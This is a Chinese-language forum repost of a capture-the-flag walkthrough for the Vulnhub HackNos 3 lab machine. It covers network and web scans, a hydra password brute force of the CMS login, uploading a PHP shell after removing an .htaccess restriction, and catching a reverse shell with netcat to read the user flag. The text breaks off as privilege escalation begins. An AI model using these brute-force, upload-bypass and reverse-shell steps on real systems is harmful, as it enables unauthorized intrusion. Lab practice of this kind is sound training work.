ToB企服应用市场:ToB评测及商务社交产业平台

标题: Vulnhub之HackNos 3靶机详细测试过程 [打印本页]
作者: 美丽的神话    时间: 2023-4-4 14:08
标题: Vulnhub之HackNos 3靶机详细测试过程
HackNos 3

作者: Jason Huawen
靶机信息

名称：hackNos: Os-hackNos-3
地址：
  1. https://www.vulnhub.com/entry/hacknos-os-hacknos-3,410/
复制代码
识别目标主机IP地址
  1. ─(kali㉿kali)-[~/Desktop/HackNos3]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                                                       
  4.                                                                                                                                                             
  5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
  6. _____________________________________________________________________________
  7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  8. -----------------------------------------------------------------------------
  9. 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                                                          
  10. 192.168.56.100  08:00:27:0e:88:2f      1      60  PCS Systemtechnik GmbH                                                                                   
  11. 192.168.56.231  08:00:27:92:85:a4      1      60  PCS Systemtechnik GmbH      
复制代码
利用Kali Linux的netdiscover工具识别目标主机IP地址为192.168.56.231
NMAP扫描
  1. ──(kali㉿kali)-[~/Desktop/HackNos3]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.231 -oN nmap_full_scan
  3. Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-24 00:00 EDT
  4. Nmap scan report for bogon (192.168.56.231)
  5. Host is up (0.00013s latency).
  6. Not shown: 65533 closed tcp ports (reset)
  7. PORT   STATE SERVICE VERSION
  8. 22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
  9. | ssh-hostkey:
  10. |   3072 ce:16:a0:18:3f:74:e9:ad:cb:a9:39:90:11:b8:8a:2e (RSA)
  11. |   256 9d:0e:a1:a3:1e:2c:4d:00:e8:87:d2:76:8c:be:71:9a (ECDSA)
  12. |_  256 63:b3:75:98:de:c1:89:d9:92:4e:49:31:29:4b:c0:ad (ED25519)
  13. 80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
  14. |_http-title: WebSec
  15. |_http-server-header: Apache/2.4.41 (Ubuntu)
  16. MAC Address: 08:00:27:92:85:A4 (Oracle VirtualBox virtual NIC)
  17. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  19. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  20. Nmap done: 1 IP address (1 host up) scanned in 10.21 seconds
复制代码
NMAP扫描结果表明目标主机有2个开放端口：22（ssh)、80（http)
获得Shell
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/HackNos3]
  2. └─$ nikto -h http://192.168.56.231
  3. - Nikto v2.1.6
  4. ---------------------------------------------------------------------------
  5. + Target IP:          192.168.56.231
  6. + Target Hostname:    192.168.56.231
  7. + Target Port:        80
  8. + Start Time:         2023-03-24 00:23:37 (GMT-4)
  9. ---------------------------------------------------------------------------
  10. + Server: Apache/2.4.41 (Ubuntu)
  11. + The anti-clickjacking X-Frame-Options header is not present.
  12. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
  13. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
  14. + OSVDB-3268: /scripts/: Directory indexing found.
  15. + Server may leak inodes via ETags, header found with file /, inode: c3, size: 599925bee00f9, mtime: gzip
  16. + Allowed HTTP Methods: POST, OPTIONS, HEAD, GET
  17. + 8725 requests: 0 error(s) and 6 item(s) reported on remote host
  18. + End Time:           2023-03-24 00:24:40 (GMT-4) (63 seconds)
  19. ---------------------------------------------------------------------------
  20. + 1 host(s) tested
  23.       *********************************************************************
  24.       Portions of the server's headers (Apache/2.4.41) are not in
  25.       the Nikto 2.1.6 database or are newer than the known string. Would you like
  26.       to submit this information (*no server specific data*) to CIRT.net
  27.       for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
复制代码
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/HackNos3]
  2. └─$ gobuster dir -u http://192.168.56.231 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.js,.sh
  3. ===============================================================
  4. Gobuster v3.5
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://192.168.56.231
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.5
  13. [+] Extensions:              php,html,txt,js,sh
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/03/24 00:29:36 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /.html                (Status: 403) [Size: 279]
  19. /.php                 (Status: 403) [Size: 279]
  20. /index.html           (Status: 200) [Size: 195]
  21. /scripts              (Status: 301) [Size: 318] [--> http://192.168.56.231/scripts/]
  22. /upload.php           (Status: 200) [Size: 0]
  23. /devil                (Status: 301) [Size: 316] [--> http://192.168.56.231/devil/]
  24. /websec               (Status: 301) [Size: 317] [--> http://192.168.56.231/websec/]
  25. /.html                (Status: 403) [Size: 279]
  26. /.php                 (Status: 403) [Size: 279]
  27. /server-status        (Status: 403) [Size: 279]
  28. Progress: 1321485 / 1323366 (99.86%)
  29. ===============================================================
  30. 2023/03/24 00:34:38 Finished
  31. ==============================================================
复制代码
Gobuster工具扫描出目录：/websec, 访问该目录，网页中有电子邮件，而且从页面内容来看，为CMS，因此度websec进一步扫描：
  1.                                                                                                                                                             
  2. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HackNos3]
  3. └─$ gobuster dir -u http://192.168.56.231/websec -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.js,.sh
  4. ===============================================================
  5. Gobuster v3.5
  6. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  7. ===============================================================
  8. [+] Url:                     http://192.168.56.231/websec
  9. [+] Method:                  GET
  10. [+] Threads:                 10
  11. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  12. [+] Negative Status codes:   404
  13. [+] User Agent:              gobuster/3.5
  14. [+] Extensions:              txt,js,sh,php,html
  15. [+] Timeout:                 10s
  16. ===============================================================
  17. 2023/03/24 02:54:11 Starting gobuster in directory enumeration mode
  18. ===============================================================
  19. /.html                (Status: 403) [Size: 279]
  20. /.php                 (Status: 403) [Size: 279]
  21. /index                (Status: 200) [Size: 4348]
  22. /search               (Status: 200) [Size: 4348]
  23. /about                (Status: 200) [Size: 3756]
  24. /blog                 (Status: 200) [Size: 4348]
  25. /1.sh                 (Status: 200) [Size: 4647]
  26. /1.txt                (Status: 200) [Size: 4647]
  27. /1                    (Status: 200) [Size: 4647]
  28. /1.html               (Status: 200) [Size: 4647]
  29. /01.php               (Status: 200) [Size: 4647]
  30. /01.txt               (Status: 200) [Size: 4647]
  31. /1.php                (Status: 200) [Size: 4647]
  32. /1.js                 (Status: 200) [Size: 4647]
  33. /01                   (Status: 200) [Size: 4647]
  34. /01.html              (Status: 200) [Size: 4647]
  35. /01.sh                (Status: 200) [Size: 4647]
  36. /01.js                (Status: 200) [Size: 4647]
  37. /login                (Status: 200) [Size: 1592]
复制代码
从/websec的扫描中可以看到有登录入口/login以及管理员目录/admin，并且websec首页中的邮箱为管理员邮箱，即猜测[contact@hacknos.com]为管理员账号，但是接下来需要爆破密码
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HackNos3]
  2. └─$ hydra -l contact@hacknos.com -P dict 192.168.56.231 http-post-form '/websec/login:username=^USER^&password=^PASS^:F=Wrong'
  3. Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
  5. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-24 03:06:59
  6. [DATA] max 16 tasks per 1 server, overall 16 tasks, 54 login tries (l:1/p:54), ~4 tries per task
  7. [DATA] attacking http-post-form://192.168.56.231:80/websec/login:username=^USER^&password=^PASS^:F=Wrong
  8. [80][http-post-form] host: 192.168.56.231   login: contact@hacknos.com   password: Securityx
  9. 1 of 1 target successfully completed, 1 valid password found
  10. Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-24 03:07:02
复制代码
利用hydra工具成功破解出了密码
登录成功后，访问其/admin目录
  1. http://192.168.56.231/websec/admin
复制代码
通过file manager功能上传shell.php,没有任何过滤，发现文件被放在了/assets目录，但是访问该目录返回错误
在该目录中发现了.htaccess文件禁止访问php文件，那么将deny from all删除后保存。
  1. http://192.168.56.231/websec/assets/shell.php
复制代码
可以成功得到shell
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HackNos3]
  2. └─$ sudo nc -nlvp 5555        
  3. listening on [any] 5555 ...
  4. connect to [192.168.56.230] from (UNKNOWN) [192.168.56.231] 33922
  5. Linux hacknos 5.3.0-24-generic #26-Ubuntu SMP Thu Nov 14 01:33:18 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
  6. 05:07:33 up  1:16,  0 users,  load average: 0.00, 0.21, 1.16
  7. USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
  8. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  9. /bin/sh: 0: can't access tty; job control turned off
  10. $ id
  11. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  12. $ which python
  13. /usr/bin/python
  14. $ python -c 'import pty;pty.spawn("/bin/bash")'
  15. www-data@hacknos:/$ ls
  16. ls
  17. bin    etc             lib     lost+found  proc  snap      tmp      vmlinuz.old
  18. boot   home            lib32   media       root  srv       usr
  19. cdrom  initrd.img      lib64   mnt         run   swap.img  var
  20. dev    initrd.img.old  libx32  opt         sbin  sys       vmlinuz
  21. www-data@hacknos:/$ cd /home
  22. cd /home
  23. www-data@hacknos:/home$ ls -alh
  24. ls -alh
  25. total 12K
  26. drwxr-xr-x  3 root       root   4.0K Dec 10  2019 .
  27. drwxr-xr-x 20 root       root   4.0K Dec 10  2019 ..
  28. drwxr-xr-x  6 blackdevil docker 4.0K Dec 13  2019 blackdevil
  29. www-data@hacknos:/home$ cd blackdevil
  30. cd blackdevil
  31. www-data@hacknos:/home/blackdevil$ ls -alh
  32. ls -alh
  33. total 40K
  34. drwxr-xr-x 6 blackdevil docker 4.0K Dec 13  2019 .
  35. drwxr-xr-x 3 root       root   4.0K Dec 10  2019 ..
  36. -rw-r--r-- 1 blackdevil docker  220 May  5  2019 .bash_logout
  37. -rw-r--r-- 1 blackdevil docker 3.7K May  5  2019 .bashrc
  38. drwx------ 3 blackdevil docker 4.0K Dec 13  2019 .cache
  39. drwxr-xr-x 3 blackdevil docker 4.0K Dec 13  2019 .config
  40. drwx------ 3 blackdevil docker 4.0K Dec 10  2019 .gnupg
  41. drwxr-xr-x 3 blackdevil docker 4.0K Dec 13  2019 .local
  42. -rw-r--r-- 1 blackdevil docker  807 May  5  2019 .profile
  43. -rw-r--r-- 1 root       root     33 Dec 13  2019 user.txt
  44. www-data@hacknos:/home/blackdevil$ cat user.txt
  45. cat user.txt
  46. bae11ce4f67af91fa58576c1da2aad4b
  47. www-data@hacknos:/home/blackdevil$
复制代码
成功拿到了目标主机反弹回来的Shell,以及User Flag.接下来需要进行提权：
[code]www-data@hacknos:/var/www/html/websec$ cat config.phpcat config.php



欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4